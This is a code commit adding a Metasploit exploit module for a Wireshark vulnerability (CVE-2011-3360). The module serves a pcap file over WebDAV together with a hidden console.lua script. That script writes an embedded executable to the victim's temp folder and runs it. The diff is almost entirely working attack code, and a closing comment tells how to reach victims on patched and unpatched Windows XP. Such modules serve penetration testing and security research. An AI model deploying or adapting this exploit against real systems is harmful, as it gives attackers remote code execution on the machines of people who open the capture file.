Add wireshark console.lua exploit (CVE-2011-3360)
parent
9aeccc1de0
commit
30f13984ea
|
@ -0,0 +1,337 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Wireshark console.lua pre-loading vulnerability",
|
||||
'Description' => %q{
|
||||
This modules exploits a vulnerability in Wireshark 1.6 or less. When opening a
|
||||
pcap file, Wireshark will actually check if there's a 'console.lua' file in the same
|
||||
directory, and then parse/execute the script if found. Versions affected by this
|
||||
vulnerability: 1.6.0 to 1.6.1, 1.4.0 to 1.4.8
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'sinn3r', #Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2011-3360'],
|
||||
['OSVDB', '75347'],
|
||||
['URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=6136'],
|
||||
['URL', 'http://technet.microsoft.com/en-us/security/advisory/2269637']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
['Wireshark 1.6.1 or less', {}],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Jul 18 2011", #Didn't go public until 2011-09-21 though
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
|
||||
OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]),
|
||||
OptString.new('URIPATH', [ true, "The URI to use", "/" ]),
|
||||
OptString.new('FILENAME', [ true, "The name of the pcap file", "msf.pcap"])
|
||||
], self.class)
|
||||
|
||||
deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
case request.method
|
||||
when 'OPTIONS'
|
||||
process_options(cli, request)
|
||||
when 'PROPFIND'
|
||||
process_propfind(cli, request)
|
||||
when 'GET'
|
||||
process_get(cli, request)
|
||||
else
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
|
||||
resp = create_response(404, "Not Found")
|
||||
resp.body = ""
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
end
|
||||
|
||||
def process_get(cli, request)
|
||||
print_status("URI requested: #{request.uri.to_s}")
|
||||
if request.uri =~ /\.lua$/
|
||||
# Load lua script
|
||||
print_status("Sending lua script")
|
||||
send_response(cli, @p, {'Content-Type'=>'application/octet-stream'})
|
||||
elsif request.uri =~ /#{datastore['FILENAME']}/
|
||||
# Load an empty pcap file
|
||||
# Format reference: http://wiki.wireshark.org/Development/LibpcapFileFormat
|
||||
pcap = ''
|
||||
pcap << "\xd4\xc3\xb2\xa1" #Magic number
|
||||
pcap << "\x02\x00" #Major version number
|
||||
pcap << "\x04\x00" #Minor version number
|
||||
pcap << "\x00\x00\x00\x00" #GMT to local correction
|
||||
pcap << "\x00\x00\x00\x00" #Accuracy of timestamp
|
||||
pcap << "\xff\xff\x00\x00" #Maxlength of captured packets in octets
|
||||
pcap << "\x01\x00\x00\x00" #Data length type
|
||||
print_status("Sending fake pcap file")
|
||||
send_response(cli, pcap, {'Content-Type'=>'application/octet-stream'})
|
||||
else
|
||||
# Don't know the request, return not found
|
||||
print_error("Don't care about this file, 404")
|
||||
send_not_found(cli)
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
def process_options(cli, request)
|
||||
vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
|
||||
headers = {
|
||||
'MS-Author-Via' => 'DAV',
|
||||
'DASL' => '<DAV:sql>',
|
||||
'DAV' => '1, 2',
|
||||
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
|
||||
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
|
||||
'Cache-Control' => 'private'
|
||||
}
|
||||
|
||||
resp = create_response(207, "Multi-Status")
|
||||
headers.each_pair {|k,v| resp[k] = v }
|
||||
resp.body = ''
|
||||
resp['Content-Type'] = 'text/xml'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
def process_propfind(cli, request)
|
||||
path = request.uri
|
||||
vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
|
||||
body = ''
|
||||
|
||||
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
||||
my_uri = "http://#{my_host}/"
|
||||
|
||||
if path !~ /\/$/
|
||||
if path.index(".")
|
||||
print_status("Sending 404 for #{path} ...")
|
||||
resp = create_response(404, "Not Found")
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
return
|
||||
else
|
||||
print_status("Sending 301 for #{path} ...")
|
||||
resp = create_response(301, "Moved")
|
||||
resp["Location"] = path + "/"
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Sending directory multistatus for #{path} ...")
|
||||
|
||||
body = <<-BODY
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype><D:collection/></lp1:resourcetype>
|
||||
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
|
||||
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
BODY
|
||||
|
||||
body = body.gsub(/^\t\t/, '')
|
||||
|
||||
if request["Depth"].to_i > 0
|
||||
if path.scan("/").length < 2
|
||||
body << generate_shares(path)
|
||||
else
|
||||
#Set filenames, and set the hidden attribute
|
||||
filenames =
|
||||
[
|
||||
['console.lua', true],
|
||||
[datastore['FILENAME'], false]
|
||||
]
|
||||
body << generate_files(path, filenames)
|
||||
end
|
||||
end
|
||||
|
||||
body << "</D:multistatus>"
|
||||
|
||||
body.gsub!(/\t/, '')
|
||||
|
||||
# send the response
|
||||
resp = create_response(207, "Multi-Status")
|
||||
resp.body = body
|
||||
resp['Content-Type'] = 'text/xml; charset="utf8"'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
def gen_timestamp(ttype=nil)
|
||||
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
|
||||
end
|
||||
|
||||
def gen_datestamp(ttype=nil)
|
||||
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
|
||||
end
|
||||
|
||||
def generate_shares(path)
|
||||
share_name = datastore['SHARENAME']
|
||||
share = <<-SHARE
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}#{share_name}/</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype><D:collection/></lp1:resourcetype>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
SHARE
|
||||
share = share.gsub(/^\t\t/, '')
|
||||
return share
|
||||
end
|
||||
|
||||
def generate_files(path, items)
|
||||
trail = path.split("/")
|
||||
return "" if trail.length < 2
|
||||
|
||||
files = ""
|
||||
items.each do |f, hide|
|
||||
h = hide ? '1' : '0'
|
||||
files << <<-FILES
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}#{f}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype/>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<lp2:executable>T</lp2:executable>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>application/octet-stream</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
<D:ishidden b:dt="boolean">#{h}</D:ishidden>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
FILES
|
||||
end
|
||||
|
||||
files = files.gsub(/^\t\t\t/, '')
|
||||
|
||||
return files
|
||||
end
|
||||
|
||||
def get_lua_payload
|
||||
# Generate our executable payload, and then convert every byte
|
||||
# in decimal format
|
||||
p = generate_payload_exe
|
||||
buf = ''
|
||||
p.each_byte do |b|
|
||||
buf << "\\#{b.to_s}"
|
||||
end
|
||||
|
||||
# Create the lua script that contains our payload
|
||||
var_payload_name = rand_text_alpha(5)
|
||||
var_temp_name = rand_text_alpha(5)
|
||||
lua_script = <<-LUA
|
||||
#{var_payload_name} = "#{buf}"
|
||||
|
||||
#{var_temp_name} = os.getenv("TEMP") .. os.tmpname() .. ".exe"
|
||||
local f = io.open(#{var_temp_name}, "wb")
|
||||
f:write(#{var_payload_name})
|
||||
f:close()
|
||||
os.execute(#{var_temp_name})
|
||||
LUA
|
||||
|
||||
lua_script = lua_script.gsub(/^\t\t/, '')
|
||||
return lua_script
|
||||
end
|
||||
|
||||
def exploit
|
||||
@p = get_lua_payload
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
Example of how to open the share:
|
||||
My Computer -> Tools -> Map Network Driver -> Sign up for online storage or
|
||||
connect to a network server -> Choose another network location ->
|
||||
enter the network address
|
||||
|
||||
On an unpatched XP SP3 (and other Windows systems), the ideal URI format is like this:
|
||||
http://192.168.1.11/
|
||||
But on a fully patched XP SP3, the same URI format will not work. Windows will try to list
|
||||
the share via SMB, and the victim will not see the share. In this case, you should specify
|
||||
the URI to like this:
|
||||
http://192.168.1.11/files
|
||||
=end
|
Loading…
Reference in New Issue